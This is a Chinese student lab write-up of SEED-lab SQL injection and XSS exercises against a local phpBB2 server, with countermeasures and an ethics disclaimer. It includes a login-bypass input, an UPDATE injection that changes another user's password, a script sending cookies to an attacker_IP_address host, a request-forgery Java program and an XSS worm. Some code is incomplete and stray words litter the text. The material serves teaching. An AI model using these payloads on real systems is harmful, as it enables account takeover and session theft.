《網絡攻防技術與實踐》 第11、十二章課後實踐

SQL注入實踐

環境需求

vmware鏡像SEEDUbuntu9-Aug-2010。下載地址http://www.cis.syr.edu/ ̃wedu/seed/php

實驗準備

啓動Apache服務器:
java


使用URL:http://www.sqllabmysqlphpbb.com訪問thephpBB2server(須要首先啓動apache服務器):
mysql



Web應用程序的源代碼位於:

/var/www/SQL/SQLLabMysqlPhpbb/

能夠經過把如下內容添加到/etc/hosts 文件來建議一個域名映射:web

127.0.0.1   www.example.com

所以,若是你的Web服務器和瀏覽器在兩臺不一樣的計算機上運行,​​則須要相應地修改瀏覽器計算機上的/etc/hosts文件以將www.sqllabmysqlphpbb.com映射到相應Web服務器的IP地址。sql

PHP提供了一種自動防護SQL注入攻擊的機制。 該方法稱爲magic quote,更多細節將在Task 3中引入。讓咱們首先關閉這個保護(這個保護方法在PHP 5.3.0以後已經棄用):數據庫

  1. Go to/etc/php5/apache2/php.ini.
  2. Find the line:magicquotesgpc = On.
  3. Change it to this:magicquotesgpc = Off.
  4. Restart the apache server by running"sudo service apache2 restart".

文件修改:
apache


select注入

用戶輸入用戶名和密碼後,登陸.phpprogram將使用用戶提供的數據來肯定它們是否與數據庫中任何記錄的用戶名和用戶密碼字段匹配。 若是匹配,則表示用戶提供了正確的用戶名和密碼組合,應該容許登陸。 與大多數其餘Web應用程序同樣,PHP程序使用標準SQL語言與其後端數據庫進行交互。 對於phpBB2,在login.php中構造如下SQL查詢來驗證用戶:後端

SELECT user_id, username, user_password, user_active, user_level,user_login_tries, user_last_login_try
FROM  USERS_TABLE
WHERE username = ’$username’ AND user_password = ’md5($password)’;
if (found one record)
then {allow the user to login}

在上面的SQL語句中,USERSTABLE是php中的宏,它將被用戶名稱替換爲:phpbbusers,$ username是一個變量,用於保存在Usernametextbox中鍵入的字符串,$ password是一個變量,用於保存在thePasswordtextbox中鍵入的字符串。 用戶在這兩個文本框中的輸入直接放在SQL查詢字符串中。
sql注入原理就在於此,經過字符串的直接插入,靈活運用單引號'和註釋符號#能夠作到必定程度上修改sql查詢。

在首頁上能夠得到用戶名信息:
瀏覽器



經過在用戶名位置輸入 alice' #完成攻擊,在不用輸入密碼的狀況下完成登陸:

update 語句注入

在不知道他/她的密碼的狀況下更改其餘用戶的我的資料。 例如,若是你以Alice身份登陸,則你的目標是使用此漏洞修改Ted的我的資料信息,包括Ted的密碼。 攻擊發生後,你應該可以登陸Ted的賬戶。

在profile頁面修改我的信息,想辦法形成一個sql語法錯誤,如在某位置輸入:a`,會返回sqldebug信息:
安全


同時咱們發現ted是新註冊的用戶,點擊memlist發現url最後的數字6,猜想ted的uid爲6,在profile最後位置(防止註釋掉修改密碼的語句)輸入以下語句:

a' where user_id = 6#

同時在current password 位置輸入alice的密碼,下面新密碼爲更新內容,輸入想給ted設置的密碼便可。

對抗sql注入

本例中有效方法是咱們以前關閉的magic,將它打開。
比較通用的方法總結以下:

  • escape處理。
    • 通常會用到兩個函數mysql_real_escape_string()和addslashes()
    • mysql_real_escape_string()函數會轉義:' " \r \n NULL Control-Z
    • addslashes()函數會轉義:' " 反斜線和NULL。
  • 使用預編譯語句,綁定變量,這是防護sql注入的最佳方式。
  • 使用存儲過程,儘可能避免在存儲過程當中使用動態的SQL語句。
  • 檢查數據類型
  • 使用安全函數

xss攻擊實驗

環境要求

同上

實驗準備

啓動Apache服務器,同上。
配置DNS,同上。

發佈惡意消息以顯示警報窗口

此任務的目的是發佈包含JavaScript的惡意消息以顯示警報窗口。應在消息中提供JavaScript以及用戶註釋。 如下JavaScript將顯示一個警告窗口: alert('XSS'); </ script>
若是您在留言板中發佈此JavaScript以及您的評論,那麼查看此評論的任何用戶都將看到警報窗口。
發佈惡意回覆:



顯示警告窗口:

發佈惡意消息以顯示Cookie

此任務的目的是在包含JavaScript代碼的留言板上發佈惡意消息,這樣每當用戶查看此消息時,將打印出用戶的cookie。 例如,考慮如下包含JavaScript代碼的消息:

<script>alert(document.cookie);</script>
Hello Everybody,Welcome to this message board.

彈出cookie信息


從受害者的機器竊取cookie

在上一個任務中,惡意的JavaScript代碼能夠打印出用戶的cookie; 在此任務中,攻擊者須要JavaScript代碼將cookie發送給他/她本身。 爲此,惡意JavaScript代碼能夠向攻擊者發送HTTP請求,並將cookie附加到請求中。 咱們能夠經過惡意JavaScript將標記帶有srcset插入到攻擊者目標的URL中來實現這一點。當JavaScript插入img標記時,瀏覽器會嘗試從提到的URL加載圖像,而且過程最終會發送HTTP GET請求攻擊者網站。 下面給出的JavaScript將cookie發送到攻擊者機器上提到的端口5555。 在特定端口上,攻擊者有一個TCP服務器,它只打印出它收到的請求。 TCP服務器程序將由您提供(可在本實驗的網站上得到):

Hello Folks,
<script>document.write('<img src=http://attacker_IP_address:5555?c='+ escape(document.cookie) + '   >'); </script>
This script is to test XSS.  Thanks.

使用偷來的cookie冒充受害者

在竊取受害者的cookie後,攻擊者能夠作任何受害者能夠對theppBBweb服務器作的事情,包括在受害者的名字中發佈新消息刪除受害者的帖子等。在這個任務中,咱們將編寫一個程序來僞造一個消息帖子表明受害者。要發佈消息帖,咱們首先要分析howphpBBworks的發佈消息。 更具體地說,咱們的目標是找出用戶發佈消息時發送到服務器的內容。 Firefox的LiveHTTPHeadersextension能夠幫助咱們; 它能夠顯示從瀏覽器發送的任何HTTP請求消息的內容。 從內容中,咱們能夠識別消息的全部參數。LiveHTTPHeadersextension能夠從http://livehttpheaders.mozdev.org/下載,它已經安裝在預構建的UbuntuVMimage中。一旦咱們瞭解了消息發佈的HTTP請求是什麼樣的,咱們能夠編寫一個Java程序來發送它 HTTP請求。 ThephpBBserver沒法區分請求是由用戶的瀏覽器仍是由攻擊者的Java程序發出的。 只要咱們正確設置全部參數,服務器就會接受並處理髮布消息的HTTP請求。 爲了簡化您的任務,咱們爲您提供了一個示例Java程序,它執行如下操做:

  1. 打開與Web服務器的鏈接。
  2. 設置必要的HTTP頭信息。
  3. 將請求發送到Web服務器。
  4. 從Web服務器獲取響應。

代碼以下:

import java.io.*;
import java.net.*;
public class HTTPSimpleForge {
    public static void main(String[] args) throws IOException {
        try {
            int responseCode;
            InputStream responseIn=null;

            URL url = new URL ("http://www.xsslabphpbb.com/profile.php");
        
            if (urlConn instanceof HttpURLConnection) {
                urlConn.setConnectTimeout(60000);
                urlConn.setReadTimeout(90000);
            }
            
            urlConn.addRequestProperty("User-agent","Sun JDK 1.6");
            String data="username=admin&seed=admin%40seed.com";
            urlConn.setDoOutput(true);
            OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
            wr.write(data);
            wr.flush();
            if (urlConn instanceof HttpURLConnection) {
                HttpURLConnection httpConn = (HttpURLConnection) urlConn;
                responseCode = httpConn.getResponseCode();
                System.out.println("Response Code = " + responseCode);
                if (responseCode == HttpURLConnection.HTTP_OK) {
                    responseIn = urlConn.getInputStream();
                    BufferedReader buf_inp = new BufferedReader(new InputStreamReader(responseIn));
                    String inputLine;
                    while((inputLine = buf_inp.readLine())!=null) {
                        System.out.println(inputLine);
                    }
                }
            }
        } catch (MalformedURLException e) {
            e.printStackTrace();
        }
    }
}

編寫XSS蠕蟲

該項目應該作到如下幾點:

  1. 使用JavaScript檢索用戶的會話ID。
  2. 僞造HTTP post請求以使用會話ID發佈消息

代碼:

<script>
var Ajax=null;

Ajax=new XMLHttpRequest();
Ajax.open("POST","http://www.xsslabphpbb.com/posting.php",true);
Ajax.setRequestHeader("Host","www.xsslabphpbb.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

var content="subject=" + "XSSWorm" + ...;

Ajax.send(content);</script>

編寫自傳播XSS蠕蟲

在上一個任務中構建的蠕蟲只是表明受害者發出信息; 它不會傳播本身。 所以,從技術上講,它不是蠕蟲。 爲了可以傳播本身,僞造的消息還應該包含蠕蟲,所以每當有人點擊僞造的消息時,就會建立攜帶相同蠕蟲的新僞造消息。 這樣,蠕蟲就能夠傳播。 單擊僞造消息的人越多,蠕蟲傳播的速度就越快。

須要咱們注意的是,一切對於攻擊技術的研究都是爲了更好地防範未知的威脅,而不該被用做惡意用途。

案例分析:實際的網頁木馬攻擊場景

書中給出的網站上是諸葛建偉老師實驗室的成員介紹,該網站可能沒有這個用途了吧。

相關文章
相關標籤/搜索